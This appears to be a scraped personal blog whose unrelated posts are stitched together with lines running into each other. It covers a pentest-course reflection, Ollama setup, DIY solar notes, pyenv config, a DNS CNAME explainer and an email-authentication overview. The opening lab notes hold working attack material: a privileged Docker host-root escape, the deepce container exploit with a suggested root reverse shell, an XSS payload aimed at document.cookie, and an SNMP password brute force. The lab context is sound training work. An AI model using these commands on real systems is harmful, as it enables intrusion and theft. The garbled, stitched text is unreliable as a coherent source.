https://www.hacksmarter.org/courses/ecd76167-3ff0-4140-96b8-6405beb82799/take
More to Come Soon
https://www.hacksmarter.org/courses/ecd76167-3ff0-4140-96b8-6405beb82799/take
More to Come Soon
Here's the link to the lab: https://www.hacksmarter.org/courses/bb164cba-ddc9-4cb0-8e95-ad4853d0143c/take
I use this as my payload; https://example.com/api/modular-connector/login/anything?origin=mo&type=foo Let's try it. docker run -it --privileged --name root_access_container -v /:/mnt_host_root ubuntu /bin/bashwe can access /mnt_host_root on the container which is really / on the host , from here we can browse to /root/root.txt
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami" From here we can run other commands as root, maybe setup another listener on a different port, then reverse shell to that listener as root
http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="alert(1);"/> This POC shows us that we have XSS with Paramater PollutionI wonder if we change the 1 to document.cookie
document.cookie = "session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; path=/";
document.cookie = "user=admin; path=/";docker run \
-v $(pwd):/data \ # shared the current directory as /data inside the container
--network host \ # docker will use the same network of the host
-it evilsocket/legba:latest \
snmp --username waserby --password /data/your-wordlist.txt --target 192.168.1.1 When I enrolled in the HackSmarter Foundations of Web Application Pentestesting Course, I expected to learn new techniques for finding vulnerabilities in web applications. What I didn't expect was that the biggest lesson would come during the capstone assessment itself.
The HackSmarter course is designed to teach a structured methodology for performing web application penetration tests. Rather than focusing solely on individual vulnerabilities, it emphasizes understanding how a web application works, building a repeatable testing process, documenting findings, and producing a professional penetration test report. Those are the skills that separate simply finding bugs from conducting a real penetration test.
When I started the capstone, I did exactly what I thought a penetration tester should do. I went in with guns blazing.
I immediately began attacking the application, testing inputs, fuzzing endpoints, and looking for vulnerabilities. I wasn't following any methodology or checklist. I was simply chasing findings wherever they appeared.
At first, this felt productive, but after spending more time with the application, I realized I had created my own problem. I had skipped the process that the course spent so much time teaching.
Eventually, I had to stop and revisit what I had learned throughout the course.
Instead of asking, "How can I break this?" I started asking better questions:
Taking the time to understand the application before aggressively testing it made a huge difference. A structured methodology isn't about slowing you down, it's about making sure you don't miss obvious attack paths while avoiding unnecessary rabbit holes.
One habit I have never really developed is taking detailed notes while I'm testing.
That became one of the biggest lessons of the capstone.
When it came time to write the penetration test report, I realized I hadn't documented enough of what I had already done. I had screenshots missing, request and response details scattered around, and steps that I remembered performing but hadn't recorded.
Instead of simply writing the report, I had to revisit much of the application and recreate portions of the testing just so I could properly document my findings.
It was a valuable reminder that good documentation isn't something you do after the engagement, it's part of the engagement itself.
One tool that made the reporting process significantly easier was Kairos, the reporting platform created by the same developer behind HackSmarter.
Being able to import vulnerabilities directly into the report generator saved a tremendous amount of time. Instead of repeatedly writing common vulnerability descriptions, impacts, and remediation guidance from scratch, I could reuse existing findings and tailor them to the engagement.
This allowed me to focus on explaining how the vulnerabilities applied to the target rather than spending time formatting the report.
One improvement I'll make on future engagements is adding findings to Kairos as I discover them, rather than waiting until testing has finished. Building the report alongside the assessment keeps everything organized and greatly reduces the amount of work required at the end.
The capstone reinforced that penetration testing is about much more than finding vulnerabilities. It's about following a repeatable methodology, understanding the application before attacking it, maintaining thorough documentation, and producing a report that clearly communicates your findings.
If I could offer one piece of advice to anyone taking the HackSmarter Web Application Pentest Course, it would be this:
Take your time.
Understand what the application does, why it exists, and how it works before trying to break it. Keep detailed notes throughout the assessment, document your findings as you discover them, and don't leave reporting until the very end.
The capstone taught me that technical ability is only one part of being a successful penetration tester. Methodology, discipline, and documentation are just as important, and those lessons will stay with me long after completing the course.
Next on for me is the TCM Security Practical Web App Pentester Certification Exam.
# systemctl edit ollama.service
[Service] Environment="OLLAMA_HOST=0.0.0.0"
# systemctl restart ollama
docker run -d --network=host --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main
-24V is Better
-PWM Not so Great, Go with MPPT
-If the battery is full your CC won't produce
I think we've all had a knock on the door from somenone trying to set up an appointment with you to see how much you can save on your electricity bill if you install solar on your house. Some of those folks can be a bit pushy, but that's not the reason for this post. I keep on asking myself, if solar is so wonderful and we can save a lot of money, why isn't every house lined up with solar installers? I get it, you need enough roof real-estate, and there are areas more opportune for solar benefits than others, and there's never such a thing as free lunch. It costs to get the equipment, it costs to get it intaslled, if you want to grid-tie it the electric company needs to make sure it's A-OK, you'll need a permit. Those costs start to add up, Everyone needs to make some money of out this deal, we're not working for free here. Here are some notes that I figured I wish I knew withouth having to setup an appointment.
- Your Elecctricity bill will be lower, but you'll have another bill on top of your electricity bill. Unless you pay for the install and materials out of pocket, instead you're probably getting a loan for the 15-30K.
- Most grid-tie systems do not help you in an outage, they need city power to function. I don't know about you but if I have solar I want my lights on, when everyone elses are off.
-- There are things like the power-wall from Tesla, it's basically a big battery add-on for your solar array. That's more like it but that sounds expensive.
Here are some of my thoughts:
- What about those Jackery, Bluetti, Pecron Solar Generators? Those things are awesome I want one :) They market them for so many use-cases. Camping, Emergency Power Backup, RV. I think they fit those use-cases pretty well, though I personally I want one for camping, and a possible backup to my backup.
- I've been seeing some/a -lot of videos of folks that say that building your own Solar generator is the way to go. I think it really depends on a couple of things: where are you intending to use it? Whta are you hoping to power? I'll tell you about journey building one. I set out to power a Window AC Unit for free.
Here's my build so far:
- 10 X 230 Used Watt Solar Panels ($240)
- 1500Watt Internet, ( Facebook $65)
- BougeRV MPPT 30A ChargeController 79
-BougeRV PWM 30A Charge Controller 39
-12V 100AH LifePO $130
-Cables, Breakers, ~$80
Each Charge Controller will host 2 Solar Panels in Parralel.
Let's start off with the list of it items that we'll need:
Materials:
I had the opportunity to (semi) work with LED matrices at my place of employment, which led me to tackle this project here. I have set up this page here: https://techtucson.com/learning/scrape which we'll use as a real-world example.
# Pyenv
export PYENV_ROOT="$HOME/.pyenv"
command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"
eval "$(pyenv init -)"
eval "$(pyenv virtualenv-init -)"TLDR; Because that's how DNS works. https://www.ietf.org/rfc/rfc1912.txt
I've run across this issue various times in the last...we'll I won't tell you how long, but it's been a long time. Every time that I see this issue pop up I scramble and learn the same thing, in hopes that the lessons learned will stick I have decided to create a blog post.
We are all accustomed to nice domain names (i.e. google.com, facebook.com), and as an end-user the backend inner workings are abstracted. What we do know is when I type in my domain on the browser, some magic happens. While I don't understand the complete magic I will do my best to explain why you can't have any other record alongside a CNAME record.
What's a CNAME record, that's true let's take a step back. Let's take store.mydomain.com as an example, a DNS server is responsible for telling browsers how to traverse the internet and locate the server that is hosting your desired store. Other types of services that have dedicated records are Mail (email) servers they get their own MX record. There are various other records in the DNS scheme, we won't go through all of them but I've selected a sample to go over:
Electronic mail (email) has been around for a very long time since 1971 according to some trusted sources. Not only is email used in our personal lives, but businesses also use it to conduct daily activities. Emails may contain a plethora of sensitive information from Financial Records, Secret Formulas, and Health Records. You name it if the data exists there is a possibility of flowing through email. Five decades ago the existence of Spam, Phishing, Whaling, or any of the myriad of cybersecurity attacks was not even conceived of. The security email protocols were not considered. It's been a long time since then and now it seems that cybersecurity is at the forefront of everyone's mind.
There have been iterations of security mechanisms that aid in securing email. Here we provide an overview of the major security protocols:
SPF stands for Sender Policy Framework. SPF uses DNS records to verify that an email was sent from an authorized IP address. Email administrators publish these DNS records which receiving parties use to discern if emails are coming from trusted and/or allowed IP addresses. If emails do not pass this test they are flagged as not having passed SPF. It is up to the receiving party how to deal with these emails.
DKIM or DomainKeys Identified Mail uses a digital signature to verify that an email wasn't modified prior to arriving at the recipient's mailbox. DKIM also uses DNS records in order to publish its Public Key which is required for hashing to take place. In short, the sender hashes the email contents and provides the hash, the receiving party then computes to the same hash on the received email. If the hashes match then we can verify that the message has not changed and therefore pass DKIM. If the hashes differ the email will fail DKIM. It is up to the receiving party how to deal with these emails.
Up until now, we are just checking whether SPF or DKIM passes, but we are not telling anyone what to do with non-compliant emails. (emails that don't pass DKIM or SPF checks. This is where DMARC or Domain-based Message Authentication, Reporting, and Conformance steps in. You guessed it DMARC also uses DNS records. These DNS records instruct the receiving party on how to address emails that fail checks. The three basic options that you can request from the receiving end are:
The end goal should be to ask for emails to be rejected though there are use cases where the other two options are used.
These protocols help protect against business email compromises by helping prevent spam, phishing, and other cyber security threats impacting emails. Large email providers such as Google and Microsoft have already adopted these protocols. There is no reason why you shouldn't implement these tools if you are running email services. While there are many SPF/DKIM/DMARC online tools, I would start with your email provider it may be that they can do the heavy lifting.
Email is a critical communication tool, it's used daily. Implementing these security mechanisms isn't difficult and it helps prevent cyber security threats. I encourage all of you to implement these protocols in order to improve the security of your email communications.
https://www.hacksmarter.org/courses/ecd76167-3ff0-4140-96b8-6405beb82799/take More to Come Soon